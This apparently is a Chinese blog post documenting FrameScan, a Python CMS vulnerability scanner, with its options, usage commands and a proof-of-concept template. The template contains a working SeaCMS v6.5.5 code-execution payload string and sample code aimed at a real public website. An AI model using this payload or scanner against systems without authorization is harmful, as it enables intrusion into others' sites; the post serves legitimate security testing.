FrameScan CMS漏洞扫描

工具简介

GithubL:https://github.com/qianxiao996/FrameScan

FrameScan是一款python3编写的简易的cms漏洞检测框架,支持多种检测方式,支持大多数CMS,可以自定义CMS类型及自行编写POC。旨在帮助有安全经验的安全工程师对已知的应用快速发现漏洞。

支持平台

  • Windows

  • Linux

  • MAC(请自测)

工具特点

  • 单URL批量检测

  • 单URL单漏洞检测

  • 单URL指定CMS检测

  • 多URL单漏洞检测

  • 单URL单漏洞检测

  • 单URL指定CMS检测

详细参数如下:

    -u          Url                      URL地址
    -f          Load urls file           文件路径
    -m          Use poc module           使用单个POC
    -c          Specify CMS              指定CMS类型
    -s          Search poc keywords      查找关键词漏洞
    -lc         List CMS POC             列出指定CMS漏洞
    -l          List avalible pocs       列出所有POC
    -r          Reload POC               重新加载POC
    -txt        Save Result(txt)         输出扫描结果(txt)
    -html       Save Result(html)        输出扫描结果(html)
    -h          Get help                 帮助信息

使用方法

下载项目

安装依赖(不需要!)

脚本主要依赖于以下模块(无需安装)
import sys,os,re
from color import *
import sqlite3,requests

运行脚本

>python3 FrameScan.py
     _____                         ____
    |  ___| __ __ _ _ __ ___   ___/ ___|  ___ __ _ _ __
    | |_ | '__/ _` | '_ ` _ \ / _ \___ \ / __/ _` | '_ \
    |  _|| | | (_| | | | | | |  __/___) | (_| (_| | | | |
    |_|  |_|  \__,_|_| |_| |_|\___|____/ \___\__,_|_| |_|

    Options:                          Code by qianxiao996
    -----------------------------------------------------
    -u          Url                      URL地址
    -f          Load urls file           文件路径
    -m          Use poc module           使用单个POC
    -c          Specify CMS              指定CMS类型
    -s          Search poc keywords      查找关键词漏洞
    -lc         List CMS POC             列出指定CMS漏洞
    -l          List avalible pocs       列出所有POC
    -r          Reload POC               重新加载POC
    -txt        Save Result(txt)         输出扫描结果(txt)
    -html       Save Result(html)        输出扫描结果(html)
    -h          Get help                 帮助信息
    -----------------------------------------------------
    FrameScan  V1.1              Blog:blog.qianxiao996.cn

单URL批量检测

python3 FrameScan.py -u URL

单URL单漏洞检测(POC_METHOS可以用 -l、-s、-lc进行查询)

python3 FrameScan.py -u URL -m POC_METHOS

单URL指定CMS检测

python3 FrameScan.py -u URL -m POC_METHOS

多URL批量检测

python3 FrameScan.py -f 文件名

多URL单漏洞检测

python3 FrameScan.py -f 文件名  -m  POC_METHOS

多URL指定CMS检测

python3 FrameScan.py -f 文件名  -c  CMS类型

输出到TXT或者HTML文件

python3 FrameScan.py -u URL -txt   文件名
python3 FrameScan.py -u URL -html  文件名

自定义POC模板

代码中采用自定义彩色输出,请尽量规范编写。脚本中为示例代码。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: 漏洞名称(禁止换行)控制在30字以内
referer: 漏洞地址(禁止换行)未知请填unknown
author: 作者名
description: 漏洞描述 
'''
import sys
import requests
import warnings
def run(url):
    #此处编辑检测代码
    #示例代码,请更改result内容,result[0]为漏洞名称,result[1]为返回的内容,result[2]为测试结果
    result = ['seacms v6.5.5代码执行漏洞','','']
    headers = {
        "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
    }
    payload = "searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*"
    url_path = url + "/search.php?phpinfo();"
    try:
        data = requests.get(url_path, timeout=3,headers=headers, verify=False)
        if data.status_code == 200 and 'phpinfo' in data.text:
            result[2]= "存在"
            result[1] = "URL:%s\nPOST:%s"%(url_path,payload)
        else:
            result[2] = "不存在"
    except Exception as e:
        # print (e)
        result[2] ="不存在"
        #这里可设置未知,连接超时等,只有不存在不会显示到结果中。
    return result
    #最后一定要返回一个带有3个参数的列表。不然会出错误。

if __name__ == "__main__":
    #此处不会调用
    warnings.filterwarnings("ignore")
    testVuln = run("http://baidu.com")
    print(testVuln)

鸣谢

POC多数来源于 AngelSword:https://github.com/Sch01ar/AngelSword 部分为自己编写,欢迎投递POC

邮箱地址:qianxiao996@126.com

警告!

请勿用于非法用途!否则自行承担一切后果

posted @ 2020-06-28 18:07  浅笑996  阅读(312)  评论(0编辑  收藏  举报